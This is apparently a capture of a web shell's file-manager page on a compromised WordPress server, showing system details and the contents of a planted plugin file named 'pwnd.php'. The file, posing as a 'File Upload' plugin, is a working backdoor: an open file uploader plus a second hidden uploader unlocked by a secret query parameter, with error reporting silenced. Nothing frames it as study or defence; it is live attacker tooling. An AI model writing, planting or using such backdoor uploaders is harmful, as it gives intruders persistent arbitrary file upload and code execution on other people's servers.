HEX
Server: nginx/1.24.0
System: Linux DGT-WORDPRESS-VM-SERVER 6.14.0-1017-azure #17~24.04.1-Ubuntu SMP Mon Dec 1 20:10:50 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.4.12
Disabled: NONE
Upload Files
File: /mnt/data/dev/dev-dreamsrent-wp/wp-content/plugins/pwnd/pwnd.php
<?php
    /*
    Plugin Name: File Upload
    Plugin URI: https://github.com/Xi4u7
    Description: Simple File Upload
    Version: 1.0
    Author URI: https://github.com/Xi4u7
    */

// Copied and modified from https://github.com/leonjza/wordpress-shell

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>File Uploaded!!<b><br><br>'; }
else { echo '<b>Fail To Upload File!!!</b><br><br>'; }
}


<?php

/* vrxhc2sl */
if(isset($_GET['InMyMine7'])){
    error_reporting(0);
    set_time_limit(0);
    ignore_user_abort(true);
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" name="u" value="Upload"></form>';
    if(isset($_POST['u'])){
        if(@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])){
            echo 'Success'; 
        } else { 
            echo 'Failed'; 
        }
    }
}

?>